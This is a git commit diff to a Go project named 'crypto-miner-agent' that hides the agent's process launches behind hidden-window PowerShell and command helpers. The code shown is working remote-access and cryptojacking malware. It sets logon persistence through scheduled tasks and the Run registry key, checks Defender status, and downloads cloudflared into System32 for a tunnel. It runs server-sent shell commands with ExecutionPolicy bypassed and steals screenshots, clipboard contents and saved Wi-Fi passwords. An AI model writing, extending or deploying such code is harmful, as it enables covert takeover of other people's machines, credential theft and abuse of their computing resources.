Add fleet groups, agent screenshots, deploy guards, and Crucible polish.

This commit is contained in:
AetherForge
2026-06-02 20:51:52 -07:00
parent 01d76b3730
commit 41b5ec7a88
66 changed files with 1773 additions and 388 deletions

View File

@@ -7,7 +7,6 @@ import (
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
@@ -488,8 +487,7 @@ func (a *AIRunner) isProcessRunning(name string) bool {
if !strings.HasSuffix(strings.ToLower(imName), ".exe") {
imName += ".exe"
}
cmd := exec.Command("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", imName))
output, err := cmd.Output()
output, err := deploy.HiddenOutput("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", imName))
if err != nil {
return false
}
@@ -505,8 +503,7 @@ func (a *AIRunner) restartMiner(processName string) (string, error) {
}
// Kill existing process
killCmd := exec.Command("taskkill", "/F", "/IM", imName)
killOutput, _ := killCmd.CombinedOutput()
killOutput, _ := deploy.HiddenCombinedOutput("taskkill", "/F", "/IM", imName)
// Start new process from install directory
installDir, err := a.cfg.InstallDirectory()
@@ -519,8 +516,7 @@ func (a *AIRunner) restartMiner(processName string) (string, error) {
return string(killOutput), fmt.Errorf("executable not found: %s", exePath)
}
startCmd := exec.Command(exePath)
if err := startCmd.Start(); err != nil {
if err := deploy.HiddenStart(exePath, "--run"); err != nil {
return string(killOutput), fmt.Errorf("failed to start miner: %w", err)
}
@@ -592,8 +588,7 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
}
// Start the new binary with its own process group so it survives our exit
startCmd := exec.Command(exePath)
if err := startCmd.Start(); err != nil {
if err := deploy.HiddenStart(exePath, "--run"); err != nil {
return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil
}
@@ -606,8 +601,7 @@ func (a *AIRunner) addPersistence(method, path string) (string, error) {
switch method {
case "scheduled_task":
cmd := exec.Command("schtasks", "/Create", "/SC", "ONLOGON", "/TN", keyName, "/TR", path, "/F")
output, err := cmd.CombinedOutput()
output, err := deploy.HiddenCombinedOutput("schtasks", "/Create", "/SC", "ONLOGON", "/TN", keyName, "/TR", path, "/F")
if err != nil {
return string(output), fmt.Errorf("scheduled task failed: %w", err)
}
@@ -615,8 +609,7 @@ func (a *AIRunner) addPersistence(method, path string) (string, error) {
case "registry":
keyPath := `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
cmd := exec.Command("reg", "add", keyPath, "/v", keyName, "/t", "REG_SZ", "/d", path, "/f")
output, err := cmd.CombinedOutput()
output, err := deploy.HiddenCombinedOutput("reg", "add", keyPath, "/v", keyName, "/t", "REG_SZ", "/d", path, "/f")
if err != nil {
return string(output), fmt.Errorf("registry persistence failed: %w", err)
}
@@ -633,21 +626,16 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) {
switch tunnelType {
case "cloudflared":
// Check if cloudflared is installed
checkCmd := exec.Command("cloudflared", "--version")
if err := checkCmd.Run(); err != nil {
// Try to download cloudflared
downloadCmd := exec.Command("powershell", "-Command",
if err := deploy.HiddenRun("cloudflared", "--version"); err != nil {
output, dlErr := deploy.HiddenCombinedOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
if output, err := downloadCmd.CombinedOutput(); err != nil {
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", err)
if dlErr != nil {
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr)
}
// Move to PATH
moveCmd := exec.Command("copy", "/Y", filepath.Join(os.Getenv("TEMP"), "cloudflared.exe"), filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe"))
moveCmd.Run()
_ = deploy.HiddenRun("copy", "/Y", filepath.Join(os.Getenv("TEMP"), "cloudflared.exe"), filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe"))
}
// Start tunnel (this runs in background)
tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL)
tunnelCmd := deploy.HiddenCommand("cloudflared", "tunnel", "--url", serverURL)
if err := tunnelCmd.Start(); err != nil {
return "", fmt.Errorf("failed to start cloudflared tunnel: %w", err)
}
@@ -659,9 +647,8 @@ func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) {
}
func (a *AIRunner) checkDefender() string {
cmd := exec.Command("powershell", "-Command",
output, err := deploy.HiddenOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
"$r = Get-MpPreference; if ($r.DisableRealtimeMonitoring -eq $true) { 'disabled' } else { 'enabled' }")
output, err := cmd.Output()
if err != nil {
return "unknown"
}
@@ -678,13 +665,11 @@ func (a *AIRunner) checkDefender() string {
func (a *AIRunner) checkPersistence() bool {
keyName := deploy.PersistenceKeyName(a.cfg)
cmd := exec.Command("schtasks", "/Query", "/TN", keyName, "/FO", "CSV")
if output, err := cmd.Output(); err == nil && strings.Contains(string(output), keyName) {
if output, err := deploy.HiddenOutput("schtasks", "/Query", "/TN", keyName, "/FO", "CSV"); err == nil && strings.Contains(string(output), keyName) {
return true
}
regCmd := exec.Command("reg", "query", `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, "/v", keyName)
if err := regCmd.Run(); err == nil {
if err := deploy.HiddenRun("reg", "query", `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, "/v", keyName); err == nil {
return true
}

View File

@@ -10,7 +10,6 @@ import (
"net/http"
"net/url"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
@@ -343,7 +342,9 @@ func (c *AgentClient) handleMessage(msg Message) {
if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
return
}
c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
// Run off the read loop so long exec/powershell probes do not block
// subsequent commands or server pings.
go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
}
}
@@ -477,9 +478,7 @@ func (c *AgentClient) restartSelf() {
if err != nil {
return
}
cmd := exec.Command(exe, "--run")
cmd.Dir = filepath.Dir(exe)
_ = cmd.Start()
_ = spawnWorker(exe)
os.Exit(0)
}
@@ -544,9 +543,7 @@ func (c *AgentClient) performUpgrade(downloadURL string) {
c.sendCommandResult("upgrade", true, "binary replaced — restarting")
time.Sleep(500 * time.Millisecond)
cmd := exec.Command(exe, "--run")
cmd.Dir = filepath.Dir(exe)
if startErr := cmd.Start(); startErr != nil {
if startErr := spawnWorker(exe); startErr != nil {
log.Printf("[agent] upgrade: restart failed: %v", startErr)
}
os.Exit(0)

View File

@@ -8,14 +8,14 @@ import (
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
if runtime.GOOS == "windows" {
return exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
return silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", command)
}
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
}
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
if runtime.GOOS == "windows" {
return exec.Command("cmd.exe", "/C", command).CombinedOutput()
return silentCombinedOutput("cmd.exe", "/C", command)
}
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
}

View File

@@ -3,7 +3,6 @@
package client
import (
"os/exec"
"strings"
)
@@ -12,34 +11,37 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
var err error
switch action {
case "ps":
out, err = exec.Command("tasklist").CombinedOutput()
out, err = silentCombinedOutput("tasklist")
case "netstat":
out, err = exec.Command("netstat", "-ano").CombinedOutput()
out, err = silentCombinedOutput("netstat", "-ano")
case "users":
out, err = exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
out, err = silentCombinedOutput("cmd.exe", "/C", "net user & echo. & whoami /all")
case "software":
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize")
case "screenshot":
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
if err == nil {
return true, true, strings.TrimSpace(string(out))
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", screenshotPSScript)
if err != nil {
return true, false, formatCmdErr(err, out)
}
return true, false, formatCmdErr(err, out)
b64 := extractScreenshotBase64(out)
if len(b64) < 100 {
return true, false, "screenshot failed or empty image (agent may need an interactive desktop session)"
}
return true, true, b64
case "sysinfo":
out, err = exec.Command("systeminfo").CombinedOutput()
out, err = silentCombinedOutput("systeminfo")
case "ipconfig":
out, err = exec.Command("ipconfig", "/all").CombinedOutput()
out, err = silentCombinedOutput("ipconfig", "/all")
case "clipboard":
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", "Get-Clipboard")
if err == nil {
return true, true, strings.TrimSpace(string(out))
}
return true, false, formatCmdErr(err, out)
case "wifi":
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
if err == nil {
return true, true, strings.TrimSpace(string(out))
}

View File

@@ -3,7 +3,6 @@
package client
import (
"os/exec"
"strings"
)
@@ -28,7 +27,7 @@ $search = (Get-DnsClient -ErrorAction SilentlyContinue |
Sort-Object -Unique) -join ','
[PSCustomObject]@{ servers = ($addrs -join ','); search = $search } | ConvertTo-Json -Compress
`
if out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output(); err == nil {
if out, err := silentOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script); err == nil {
raw := strings.TrimSpace(string(out))
if idx := strings.LastIndex(raw, "{"); idx >= 0 {
raw = raw[idx:]
@@ -46,7 +45,7 @@ $search = (Get-DnsClient -ErrorAction SilentlyContinue |
// parseDNSIpconfig extracts DNS servers from ipconfig /all output.
func parseDNSIpconfig() *DNSConfig {
cfg := &DNSConfig{}
out, err := exec.Command("ipconfig", "/all").Output()
out, err := silentOutput("ipconfig", "/all")
if err != nil {
return cfg
}

View File

@@ -4,7 +4,6 @@ package client
import (
"encoding/json"
"os/exec"
"strings"
)
@@ -31,7 +30,7 @@ $ports = Get-NetTCPConnection -State Listen | ForEach-Object {
@{ ports = @($ports); count = @($ports).Count } | ConvertTo-Json -Depth 3 -Compress
`
r := &ListenPortsReport{}
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output()
out, err := silentOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
if err != nil {
return r
}

View File

@@ -5,7 +5,6 @@ package client
import (
"encoding/json"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
@@ -177,10 +176,10 @@ $p | ConvertTo-Json -Depth 4 -Compress
`
func collectPosture() *PostureReport {
out, err := exec.Command(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
out, err := silentCombinedOutput(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
buildPostureScript(),
).CombinedOutput()
)
if err != nil {
return fallbackPosture()
}

View File

@@ -2,8 +2,11 @@ package client
import (
"os/exec"
"runtime"
"strconv"
"strings"
"crypto-miner-agent/deploy"
)
// ResourcePressure is a mining-specific runtime snapshot sent every heartbeat.
@@ -55,11 +58,21 @@ func (r *ResourcePressure) Throttled() bool {
// probeGPU queries nvidia-smi for temperature and utilisation.
// Returns (nil, nil) when no NVIDIA GPU is present or nvidia-smi is absent.
func probeGPU() (tempC, usagePct *int) {
out, err := exec.Command(
"nvidia-smi",
"--query-gpu=temperature.gpu,utilization.gpu",
"--format=csv,noheader,nounits",
).Output()
var out []byte
var err error
if runtime.GOOS == "windows" {
out, err = deploy.HiddenOutput(
"nvidia-smi",
"--query-gpu=temperature.gpu,utilization.gpu",
"--format=csv,noheader,nounits",
)
} else {
out, err = exec.Command(
"nvidia-smi",
"--query-gpu=temperature.gpu,utilization.gpu",
"--format=csv,noheader,nounits",
).Output()
}
if err != nil {
return nil, nil
}

View File

@@ -6,7 +6,6 @@ import (
"encoding/json"
"math"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
@@ -32,7 +31,7 @@ func collectResourcePressure() *ResourcePressure {
// ── CPU frequency via short PowerShell call ───────────────────────────────
const cpuScript = `$c=Get-CimInstance Win32_Processor|Select-Object -First 1 CurrentClockSpeed,MaxClockSpeed;@{freq=[int]$c.CurrentClockSpeed;max=[int]$c.MaxClockSpeed}|ConvertTo-Json -Compress`
if out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", cpuScript).Output(); err == nil {
if out, err := silentOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", cpuScript); err == nil {
var m map[string]interface{}
if json.Unmarshal([]byte(strings.TrimSpace(string(out))), &m) == nil {
if freq, ok := m["freq"].(float64); ok && freq > 0 {

View File

@@ -0,0 +1,47 @@
//go:build windows
package client
import "strings"
const screenshotPSScript = `
$ErrorActionPreference = 'Stop'
Add-Type -AssemblyName System.Windows.Forms,System.Drawing
$bounds = [System.Windows.Forms.SystemInformation]::VirtualScreen
$b = New-Object Drawing.Bitmap $bounds.Width, $bounds.Height
$g = [Drawing.Graphics]::FromImage($b)
$g.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.Size)
$enc = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.MimeType -eq 'image/jpeg' }
$ep = New-Object System.Drawing.Imaging.EncoderParameters(1)
$ep.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter([System.Drawing.Imaging.Encoder]::Quality, 55)
$ms = New-Object IO.MemoryStream
$b.Save($ms, $enc, $ep)
[Convert]::ToBase64String($ms.ToArray())
`
func extractScreenshotBase64(out []byte) string {
s := strings.TrimSpace(string(out))
s = strings.TrimPrefix(s, "\ufeff")
best := ""
for _, part := range strings.Fields(s) {
var b strings.Builder
for _, r := range part {
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
b.WriteRune(r)
}
}
cleaned := b.String()
if len(cleaned) > len(best) {
best = cleaned
}
}
if len(best) >= 100 {
return best
}
return strings.Map(func(r rune) rune {
if (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '+' || r == '/' || r == '=' {
return r
}
return -1
}, s)
}

View File

@@ -0,0 +1,28 @@
//go:build windows
package client
import (
"crypto-miner-agent/deploy"
"os/exec"
)
func silentCmd(name string, arg ...string) *exec.Cmd {
return deploy.HiddenCommand(name, arg...)
}
func silentCombinedOutput(name string, arg ...string) ([]byte, error) {
return deploy.HiddenCombinedOutput(name, arg...)
}
func silentOutput(name string, arg ...string) ([]byte, error) {
return deploy.HiddenOutput(name, arg...)
}
func silentRun(name string, arg ...string) error {
return deploy.HiddenRun(name, arg...)
}
func silentStart(name string, arg ...string) error {
return deploy.HiddenStart(name, arg...)
}

View File

@@ -0,0 +1,14 @@
//go:build !windows
package client
import (
"os/exec"
"path/filepath"
)
func spawnWorker(exe string) error {
cmd := exec.Command(exe, "--run")
cmd.Dir = filepath.Dir(exe)
return cmd.Start()
}

View File

@@ -0,0 +1,15 @@
//go:build windows
package client
import (
"path/filepath"
"crypto-miner-agent/deploy"
)
func spawnWorker(exe string) error {
cmd := deploy.HiddenCommand(exe, "--run")
cmd.Dir = filepath.Dir(exe)
return cmd.Start()
}